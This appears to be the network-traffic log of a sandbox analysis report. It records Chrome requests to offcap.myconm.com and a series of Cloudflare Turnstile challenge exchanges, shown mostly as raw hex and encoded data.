2024-12-09 17:42:25 UTC	1369	IN	Data Raw: 56 64 34 32 5a 6e 47 2b 61 69 4a 68 6e 65 58 79 72 70 62 47 41 6a 36 68 39 72 49 75 55 64 62 6d 6d 6b 36 53 32 65 58 69 58 64 33 78 38 66 34 2b 62 76 34 66 45 70 4b 57 73 6d 73 53 4d 70 6f 36 6d 73 36 4b 75 74 63 43 71 78 38 4f 6e 73 74 4b 2b 74 2b 43 76 75 73 2b 64 73 73 44 62 74 39 57 34 35 4f 75 35 33 75 6e 6f 7a 63 58 54 30 65 6e 4c 78 75 4c 59 79 4c 50 75 75 4f 32 2f 75 2b 6e 64 2b 51 44 6d 39 41 49 48 31 2f 6e 4b 31 4c 2f 58 44 51 55 4d 7a 66 50 69 7a 65 72 76 39 50 4c 53 38 4f 6a 79 31 68 6f 59 44 4e 76 35 41 41 38 55 41 69 55 6e 49 67 49 6a 36 42 63 65 41 41 76 78 42 78 51 79 4d 43 6f 46 46 53 34 52 45 78 50 33 43 42 6f 58 4d 78 77 34 44 30 4d 47 4b 52 55 6f 4f 51 52 41 51 55 34 77 44 6a 45 69 42 7a 51 68 52 31 59 6a 4d 30 6f 38 4a 6c 78 63 50 30 Data Ascii: Vd42ZnG+aiJhneXyrpbGAj6h9rIuUdbmmk6S2eXiXd3x8f4+bv4fEpKWsmsSMpo6ms6KutcCqx8OnstK+t+Cvus+dssDbt9W45Ou53unozcXT0enLxuLYyLPuuO2/u+nd+QDm9AIH1/nK1L/XDQUMzfPizerv9PLS8Ojy1hoYDNv5AA8UAiUnIgIj6BceAAvxBxQyMCoFFS4RExP3CBoXMxw4D0MGKRUoOQRAQU4wDjEiBzQhR1YjM0o8JlxcP0
2024-12-09 17:42:25 UTC	1369	IN	Data Raw: 67 6e 4f 65 72 48 36 64 62 70 6d 43 70 4b 79 65 68 36 36 72 67 34 32 58 6b 36 2b 6e 68 70 5a 39 64 37 4e 36 6b 59 2b 30 6e 6f 58 4a 6c 38 44 4e 72 73 53 74 6d 73 43 67 78 73 65 52 30 61 44 45 72 36 2f 58 79 73 65 37 33 4d 72 67 6f 62 36 2b 77 72 50 63 75 61 50 54 6e 65 7a 42 7a 73 75 2f 33 71 36 2f 37 2f 44 57 79 37 48 6c 31 38 2f 63 30 74 2f 36 39 74 62 79 38 64 71 38 77 64 33 56 43 66 50 61 39 50 76 65 36 51 41 44 2f 4e 2f 7a 39 76 50 70 39 74 54 34 47 52 49 4c 48 77 6e 59 33 75 7a 78 32 78 45 67 49 67 51 49 2b 51 73 4f 41 50 30 66 4d 52 4d 79 44 51 55 43 41 41 67 32 41 67 55 6d 4c 42 4d 76 2f 6a 51 31 43 7a 5a 44 46 6a 6f 68 53 55 52 43 51 42 38 6a 52 69 35 45 42 45 59 68 55 31 4e 54 45 6a 51 36 56 31 45 36 50 42 39 68 56 55 46 44 54 46 4a 62 5a 47 6c Data Ascii: gnOerH6dbpmCpKyeh66rg42Xk6+nhpZ9d7N6kY+0noXJl8DNrsStmsCgxseR0aDEr6/Xyse73Mrgob6+wrPcuaPTnezBzsu/3q6/7/DWy7Hl18/c0t/69tby8dq8wd3VCfPa9Pve6QAD/N/z9vPp9tT4GRILHwnY3uzx2xEgIgQI+QsOAP0fMRMyDQUCAAg2AgUmLBMv/jQ1CzZDFjohSURCQB8jRi5EBEYhU1NTEjQ6V1E6PB9hVUFDTFJbZGl
2024-12-09 17:42:25 UTC	1369	IN	Data Raw: 49 53 6e 69 5a 35 6d 72 6f 6d 46 72 4c 6d 33 74 48 4f 38 76 4a 52 37 67 4c 56 2b 6b 72 4e 2b 6f 4a 61 41 6c 73 79 6e 7a 4a 62 4f 70 37 72 46 77 36 58 52 76 34 6d 67 6c 70 65 71 71 35 69 31 79 4d 69 65 31 39 2b 57 35 73 50 57 35 38 69 69 35 61 6a 5a 7a 4f 57 73 72 63 32 76 38 4b 7a 56 79 4d 2b 7a 30 74 76 6d 37 65 6e 34 7a 75 72 54 30 64 76 54 31 76 50 30 2f 73 62 67 42 4f 4d 49 43 77 6b 45 42 39 77 43 46 50 41 4f 46 2f 54 73 36 52 41 4f 31 2b 77 56 2b 68 76 78 48 68 6b 47 38 2f 37 62 2b 66 50 70 36 2b 6a 35 4a 2b 7a 78 42 44 54 7a 47 50 41 30 39 44 73 46 4f 69 59 36 43 69 73 42 46 54 51 74 4e 51 55 34 49 44 6f 71 43 52 77 45 50 6a 42 41 44 67 38 73 42 77 34 70 55 55 34 77 4a 53 38 78 54 52 56 4c 4c 42 77 56 48 45 51 2b 57 57 4e 6d 49 7a 55 71 59 47 52 6c Data Ascii: ISniZ5mromFrLm3tHO8vJR7gLV+krN+oJaAlsynzJbOp7rFw6XRv4mglpeqq5i1yMie19+W5sPW58ii5ajZzOWsrc2v8KzVyM+z0tvm7en4zurT0dvT1vP0/sbgBOMICwkEB9wCFPAOF/Ts6RAO1+wV+hvxHhkG8/7b+fPp6+j5J+zxBDTzGPA09DsFOiY6CisBFTQtNQU4IDoqCRwEPjBADg8sBw4pUU4wJS8xTRVLLBwVHEQ+WWNmIzUqYGRl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.17	49778	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:25 UTC	598	OUT	GET /favicon.ico HTTP/1.1 Host: offcap.myconm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://offcap.myconm.com/?qe=3RVg Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:42:25 UTC	188	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 09 Dec 2024 17:42:25 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding
2024-12-09 17:42:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.17	49780	104.18.95.41	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:27 UTC	598	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/229150693:1733764372:1Vm_HqExEuCYrHrKbLx421CcUDMOvlx4T7bCqGuy2i4/8ef6ca8f8eb542b2/r3GJ4_A152EC8qp39ln_Z9EC_KemNmwazh6UB0lpyxE-1733766141-1.1.1.1-nQxGVFeYLVUC.NVgYp4gG1F7O_IhbWZmZV82zspKiHyXomE6Mct38w1.jXhk_pFw HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:42:28 UTC	379	IN	HTTP/1.1 404 Not Found Date: Mon, 09 Dec 2024 17:42:28 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: 6v8ZNP4uIacTkATw8cDdoaJYrGqH6YP5Dlo=$h7MkiZj/z39x4JM9 cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8ef6caba0f0bf791-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 17:42:28 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.17	49781	104.18.94.41	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:28 UTC	811	OUT	GET /cdn-cgi/challenge-platform/h/g/pat/8ef6ca8f8eb542b2/1733766145524/089324410dbdf74386b787908899f8f848ed1d8d89bb6b3e56936f9ce32c8be9/UDLw0pNuMHcnTL9 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/xb30u/0x4AAAAAAAz81HM6AHANCtc4/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:42:28 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Mon, 09 Dec 2024 17:42:28 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close
2024-12-09 17:42:28 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 43 4a 4d 6b 51 51 32 39 39 30 4f 47 74 34 65 51 69 4a 6e 34 2d 45 6a 74 48 59 32 4a 75 32 73 2d 56 70 4e 76 6e 4f 4d 73 69 2d 6b 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gCJMkQQ2990OGt4eQiJn4-EjtHY2Ju2s-VpNvnOMsi-kAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2024-12-09 17:42:28 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.17	49782	104.18.94.41	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:30 UTC	782	OUT	GET /cdn-cgi/challenge-platform/h/g/i/8ef6ca8f8eb542b2/1733766145528/q8Z6Lw0ZA8dnFtz HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/xb30u/0x4AAAAAAAz81HM6AHANCtc4/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:42:30 UTC	200	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:42:30 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8ef6cac8da5a8c4e-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 17:42:30 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 12 00 00 00 29 08 02 00 00 00 b7 11 ee 6e 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR)nIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.17	49783	104.18.95.41	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:31 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/g/i/8ef6ca8f8eb542b2/1733766145528/q8Z6Lw0ZA8dnFtz HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:42:32 UTC	200	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:42:32 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8ef6cad34bd54372-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 17:42:32 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 12 00 00 00 29 08 02 00 00 00 b7 11 ee 6e 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR)nIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.17	49784	104.18.94.41	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:32 UTC	1171	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/229150693:1733764372:1Vm_HqExEuCYrHrKbLx421CcUDMOvlx4T7bCqGuy2i4/8ef6ca8f8eb542b2/r3GJ4_A152EC8qp39ln_Z9EC_KemNmwazh6UB0lpyxE-1733766141-1.1.1.1-nQxGVFeYLVUC.NVgYp4gG1F7O_IhbWZmZV82zspKiHyXomE6Mct38w1.jXhk_pFw HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 32146 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: r3GJ4_A152EC8qp39ln_Z9EC_KemNmwazh6UB0lpyxE-1733766141-1.1.1.1-nQxGVFeYLVUC.NVgYp4gG1F7O_IhbWZmZV82zspKiHyXomE6Mct38w1.jXhk_pFw sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/xb30u/0x4AAAAAAAz81HM6AHANCtc4/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:42:32 UTC	16384	OUT	Data Raw: 76 5f 38 65 66 36 63 61 38 66 38 65 62 35 34 32 62 32 3d 43 6b 76 41 62 4e 55 64 56 4e 56 4d 6b 33 64 63 52 4f 33 35 41 2d 44 33 4c 37 6a 49 4a 25 32 62 63 33 49 33 75 39 4a 2b 36 55 6d 37 2b 76 41 58 4a 56 55 4d 6a 33 75 61 33 38 78 76 79 52 33 2d 33 31 4f 41 41 33 70 41 31 4d 6b 74 61 33 2b 4d 33 41 41 79 61 4b 2b 33 75 41 36 55 54 33 72 6b 33 43 43 33 79 63 56 33 2d 41 33 4d 33 43 62 66 46 33 47 67 41 55 46 58 46 33 7a 4d 55 31 33 31 63 33 73 33 53 31 55 57 76 33 54 49 33 33 54 61 6a 55 39 33 30 54 30 33 55 63 68 66 41 61 55 76 71 71 64 66 56 6c 71 61 7a 61 6c 42 4e 2d 67 6a 75 79 30 61 70 4e 68 2b 79 68 6e 57 71 56 68 4e 33 4e 2b 6a 68 76 75 47 33 55 67 7a 73 33 4f 4c 4c 4a 6d 58 6a 52 33 67 48 7a 47 76 4f 78 7a 50 34 73 66 59 68 72 55 49 63 78 6f 41 Data Ascii: v_8ef6ca8f8eb542b2=CkvAbNUdVNVMk3dcRO35A-D3L7jIJ%2bc3I3u9J+6Um7+vAXJVUMj3ua38xvyR3-31OAA3pA1Mkta3+M3AAyaK+3uA6UT3rk3CC3ycV3-A3M3CbfF3GgAUFXF3zMU131c3s3S1UWv3TI33TajU930T03UchfAaUvqqdfVlqazalBN-gjuy0apNh+yhnWqVhN3N+jhvuG3Ugzs3OLLJmXjR3gHzGvOxzP4sfYhrUIcxoA
2024-12-09 17:42:32 UTC	15762	OUT	Data Raw: 75 33 5a 41 58 33 47 24 39 33 31 4a 31 36 33 46 41 49 33 58 6b 54 6d 4e 56 71 61 33 79 24 2d 24 6c 33 55 54 6a 4c 33 61 6a 55 36 33 6a 6a 61 4a 55 53 41 68 4b 79 4a 33 75 48 76 41 31 32 55 2d 33 68 41 38 65 41 62 33 4e 55 6a 55 71 72 33 30 59 33 36 55 30 33 73 41 4e 52 55 71 33 4d 6c 55 36 55 6d 33 49 6a 61 61 55 7a 33 37 6a 55 5a 33 56 33 4e 4f 38 33 55 37 33 4e 4a 2b 48 55 54 33 43 41 33 33 33 50 43 6a 38 56 55 79 33 38 33 38 78 55 68 65 66 53 31 56 38 58 6a 30 35 68 6b 33 68 33 4d 33 61 79 33 59 33 43 33 79 48 33 7a 33 73 36 4e 61 55 75 33 6f 63 55 7a 33 34 62 79 41 31 45 33 4a 33 43 33 61 79 33 4b 6b 58 4a 79 6a 71 53 41 7a 64 61 36 33 4f 33 38 6a 38 33 33 4b 6b 42 6a 61 48 55 45 41 7a 5a 61 63 33 54 41 61 41 38 45 55 39 33 45 41 55 72 33 63 33 31 52 Data Ascii: u3ZAX3G$931J163FAI3XkTmNVqa3y$-$l3UTjL3ajU63jjaJUSAhKyJ3uHvA12U-3hA8eAb3NUjUqr30Y36U03sANRUq3MlU6Um3IjaaUz37jUZ3V3NO83U73NJ+HUT3CA333PCj8VUy3838xUhefS1V8Xj05hk3h3M3ay3Y3C3yH3z3s6NaUu3ocUz34byA1E3J3C3ay3KkXJyjqSAzda63O38j833KkBjaHUEAzZac3TAaA8EU93EAUr3c31R
2024-12-09 17:42:32 UTC	330	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:42:32 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 26288 Connection: close cf-chl-gen: ZKzabQ49RgVhhyVTVQ8WtlY8LXWm+H+hn1nwpLDSLfW6JHUwYKJMSWsxoqq+ko0e98U8dOI830FaG94P$mju/BTw1XjQSa4zi Server: cloudflare CF-RAY: 8ef6cad418ef8c30-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 17:42:32 UTC	1039	IN	Data Raw: 6a 34 53 34 72 70 4b 4e 6d 58 53 5a 65 35 47 46 70 4a 71 42 75 35 57 6f 6c 5a 6d 69 30 4d 2b 64 70 74 57 31 31 70 2f 5a 72 63 61 70 31 73 57 39 6d 72 50 4b 32 75 53 6a 32 72 4c 6d 30 61 54 72 79 75 76 59 75 63 57 36 71 50 48 45 39 4c 53 77 79 75 6a 70 75 65 65 79 35 65 6e 2b 74 75 72 50 75 2f 72 68 35 77 4c 47 77 75 6a 4a 2b 4e 77 4d 78 75 49 51 37 42 48 53 38 41 45 4c 2b 42 4c 31 43 75 6e 64 46 4f 6e 58 37 66 50 77 2f 64 7a 64 2f 50 58 66 2b 69 44 72 4a 76 62 71 42 79 73 55 4d 43 49 66 4e 2f 51 32 46 53 50 30 46 52 73 4a 46 42 34 34 4d 52 63 4f 44 68 49 67 52 69 4d 33 42 54 68 46 51 78 34 38 4b 53 49 66 49 69 41 68 49 69 67 54 54 46 59 50 4f 44 35 65 53 6b 42 68 58 55 34 34 61 47 49 35 57 6d 56 6b 4b 6a 6f 75 4f 57 74 6d 53 55 78 30 4b 47 74 6e 63 33 74 Data Ascii: j4S4rpKNmXSZe5GFpJqBu5WolZmi0M+dptW11p/Zrcap1sW9mrPK2uSj2rLm0aTryuvYucW6qPHE9LSwyujpueey5en+turPu/rh5wLGwujJ+NwMxuIQ7BHS8AEL+BL1CundFOnX7fPw/dzd/PXf+iDrJvbqBysUMCIfN/Q2FSP0FRsJFB44MRcODhIgRiM3BThFQx48KSIfIiAhIigTTFYPOD5eSkBhXU44aGI5WmVkKjouOWtmSUx0KGtnc3t
2024-12-09 17:42:32 UTC	1369	IN	Data Raw: 4a 70 35 53 32 70 5a 71 6e 79 71 79 64 71 6f 75 30 79 39 57 71 72 5a 44 47 6d 73 61 58 74 36 72 52 30 61 2b 2f 7a 75 65 32 32 64 36 69 70 4f 33 75 37 2b 4f 34 33 72 72 63 7a 65 37 54 74 2b 72 4c 79 4d 75 38 38 39 58 62 79 74 50 74 7a 51 48 39 41 67 48 6f 79 4f 44 43 36 67 6f 49 32 74 76 65 44 4d 6b 4d 30 67 6e 6f 43 68 63 48 46 2b 6f 52 46 78 58 53 47 75 49 4d 41 77 4c 34 2b 51 6b 57 2b 53 6b 65 44 50 73 74 45 41 55 52 4c 51 4d 4c 42 2f 45 53 4e 76 6f 6f 2b 68 33 32 4c 68 77 71 46 79 30 67 45 68 30 62 51 51 59 59 2f 52 67 32 4c 30 5a 4e 4b 53 38 31 55 53 59 6d 4d 69 34 74 52 41 35 65 57 6b 42 54 58 7a 73 7a 57 56 63 33 57 46 39 46 4e 6a 64 69 59 56 77 6c 62 69 74 4d 58 31 56 47 51 6d 52 69 4d 30 64 73 5a 33 4a 59 61 31 4a 4a 61 31 5a 67 68 6d 47 46 67 6c Data Ascii: Jp5S2pZqnyqydqou0y9WqrZDGmsaXt6rR0a+/zue22d6ipO3u7+O43rrcze7Tt+rLyMu889XbytPtzQH9AgHoyODC6goI2tveDMkM0gnoChcHF+oRFxXSGuIMAwL4+QkW+SkeDPstEAURLQMLB/ESNvoo+h32LhwqFy0gEh0bQQYY/Rg2L0ZNKS81USYmMi4tRA5eWkBTXzszWVc3WF9FNjdiYVwlbitMX1VGQmRiM0dsZ3JYa1JJa1ZghmGFgl
2024-12-09 17:42:32 UTC	1369	IN	Data Raw: 78 59 4f 63 30 63 36 6c 6f 4a 65 4f 31 73 61 6e 71 38 32 34 72 35 71 76 34 37 75 7a 72 64 4c 64 31 72 76 4a 75 4d 76 67 7a 73 69 38 73 4d 58 4e 38 76 58 4b 30 4c 50 4d 7a 38 57 36 33 4f 66 37 34 65 76 31 75 77 43 37 34 39 44 30 43 74 50 2b 34 4f 62 32 37 51 34 51 41 41 48 77 42 2b 66 30 38 2b 54 71 35 4f 34 5a 2f 50 63 55 38 66 62 38 34 78 2f 32 39 68 2f 30 2b 69 7a 6d 44 78 38 61 49 52 4d 70 42 77 63 6b 36 43 34 50 4d 54 51 5a 4c 77 38 58 51 52 48 35 47 41 34 33 49 68 74 49 45 67 63 54 54 41 68 4a 43 44 42 46 45 6b 77 53 4b 31 5a 4c 51 53 63 52 54 69 38 7a 54 42 46 57 4e 31 31 63 51 56 63 33 50 31 68 62 57 44 73 33 51 56 77 2f 50 32 63 39 52 45 49 76 59 6c 42 59 65 58 5a 34 4d 6d 78 64 54 48 64 54 55 6a 35 73 56 34 65 42 65 45 4e 70 64 6d 4b 41 61 49 46 Data Ascii: xYOc0c6loJeO1sanq824r5qv47uzrdLd1rvJuMvgzsi8sMXN8vXK0LPMz8W63Of74ev1uwC749D0CtP+4Ob27Q4QAAHwB+f08+Tq5O4Z/PcU8fb84x/29h/0+izmDx8aIRMpBwck6C4PMTQZLw8XQRH5GA43IhtIEgcTTAhJCDBFEkwSK1ZLQScRTi8zTBFWN11cQVc3P1hbWDs3QVw/P2c9REIvYlBYeXZ4MmxdTHdTUj5sV4eBeENpdmKAaIF
2024-12-09 17:42:32 UTC	1369	IN	Data Raw: 63 71 69 31 71 33 56 30 74 33 63 73 71 44 51 30 74 71 76 33 36 36 2f 78 4f 4c 6f 31 64 58 68 74 73 66 71 71 61 6e 63 38 2b 50 6a 74 4f 79 72 2b 73 33 4f 75 62 51 42 2b 2f 36 2b 38 2f 50 32 35 4e 6e 69 78 76 33 68 32 2f 58 4a 7a 78 49 4a 7a 75 7a 7a 39 51 30 46 41 66 4d 4a 2f 41 7a 5a 44 50 34 68 37 68 55 61 38 68 4d 45 42 4f 4c 35 36 4f 63 4f 46 2b 55 44 2b 42 7a 75 46 54 49 4a 39 69 67 77 4f 77 63 50 50 50 67 77 49 42 52 43 49 78 6c 47 52 79 55 32 47 6a 4a 46 48 7a 34 4d 51 68 6c 46 43 54 30 66 50 69 78 43 51 69 59 6c 56 31 70 56 48 56 34 73 55 46 6b 35 49 43 55 6d 50 6c 52 53 52 46 4e 48 5a 47 55 6e 57 69 39 65 53 31 42 47 59 33 68 5a 59 58 51 74 61 48 5a 63 58 6b 68 51 4f 48 4e 56 63 59 4b 41 68 6d 42 72 5a 59 61 48 58 49 61 43 6b 47 56 54 67 56 4e 56 Data Ascii: cqi1q3V0t3csqDQ0tqv366/xOLo1dXhtsfqqanc8+PjtOyr+s3OubQB+/6+8/P25Nnixv3h2/XJzxIJzuzz9Q0FAfMJ/AzZDP4h7hUa8hMEBOL56OcOF+UD+BzuFTIJ9igwOwcPPPgwIBRCIxlGRyU2GjJFHz4MQhlFCT0fPixCQiYlV1pVHV4sUFk5ICUmPlRSRFNHZGUnWi9eS1BGY3hZYXQtaHZcXkhQOHNVcYKAhmBrZYaHXIaCkGVTgVNV
2024-12-09 17:42:32 UTC	1369	IN	Data Raw: 2b 73 34 4c 65 76 77 4d 79 76 32 71 61 6a 75 2b 72 67 76 75 7a 49 77 71 48 47 36 36 6e 71 77 36 7a 74 34 65 58 56 2b 65 62 4c 7a 2f 33 70 41 75 45 44 37 75 33 68 32 4e 2f 69 31 66 63 43 79 73 59 44 34 67 55 4e 44 41 7a 38 44 78 6a 6c 45 67 63 47 37 73 34 57 2f 42 44 70 37 39 67 43 37 43 63 45 4a 76 41 43 4b 66 77 59 39 77 58 71 4c 68 41 75 36 75 38 33 46 77 38 34 46 53 62 34 46 50 67 78 4d 69 2f 34 2f 52 45 45 4f 68 55 53 52 78 49 62 46 51 77 68 42 53 6f 74 52 68 77 75 48 53 6f 4e 57 53 31 4b 45 56 73 63 55 6a 4d 57 49 46 45 72 50 6c 38 30 4f 6b 49 78 4e 43 46 45 57 30 59 38 58 6b 6c 7a 4f 7a 35 4e 62 6b 42 51 5a 30 64 4e 65 6b 56 2b 55 58 39 76 54 31 5a 63 58 59 5a 5a 55 32 46 59 55 33 79 44 5a 47 4b 4f 53 46 35 64 6b 6e 39 6b 61 6f 5a 31 64 48 42 31 62 Data Ascii: +s4LevwMyv2qaju+rgvuzIwqHG66nqw6zt4eXV+ebLz/3pAuED7u3h2N/i1fcCysYD4gUNDAz8DxjlEgcG7s4W/BDp79gC7CcEJvACKfwY9wXqLhAu6u83Fw84FSb4FPgxMi/4/REEOhUSRxIbFQwhBSotRhwuHSoNWS1KEVscUjMWIFErPl80OkIxNCFEW0Y8XklzOz5NbkBQZ0dNekV+UX9vT1ZcXYZZU2FYU3yDZGKOSF5dkn9kaoZ1dHB1b
2024-12-09 17:42:32 UTC	1369	IN	Data Raw: 6a 77 61 2f 61 35 71 6e 41 6f 37 33 4d 79 72 6a 62 79 4d 69 72 34 39 50 66 78 4d 58 4c 30 4c 54 37 33 64 6e 62 75 39 72 61 33 4e 54 51 30 76 51 43 78 39 4c 54 36 64 62 5a 44 73 62 50 78 41 48 4c 33 74 2f 4f 35 4f 6e 78 47 2f 54 72 2f 65 72 58 33 2f 34 58 45 50 33 7a 33 75 66 6e 43 66 67 4f 4b 41 73 4d 4a 2b 38 63 41 53 51 4c 45 69 63 49 39 67 4d 35 4e 78 33 77 47 41 6f 50 47 78 77 76 46 66 78 48 47 52 55 58 4a 77 77 71 47 45 4e 50 45 69 6b 4d 4a 6a 55 7a 49 55 51 78 4d 52 52 4d 50 45 67 74 4c 6a 51 35 48 57 52 47 51 6b 51 6b 51 78 30 69 61 69 34 38 4a 6d 63 37 54 46 42 42 52 55 41 75 63 6a 68 48 61 31 6b 30 54 45 68 69 62 46 70 66 67 47 42 6b 51 46 46 70 5a 6f 32 49 62 6d 79 45 6b 47 74 74 68 5a 43 51 64 57 52 52 63 47 64 34 61 57 31 6f 56 6d 42 35 57 56 Data Ascii: 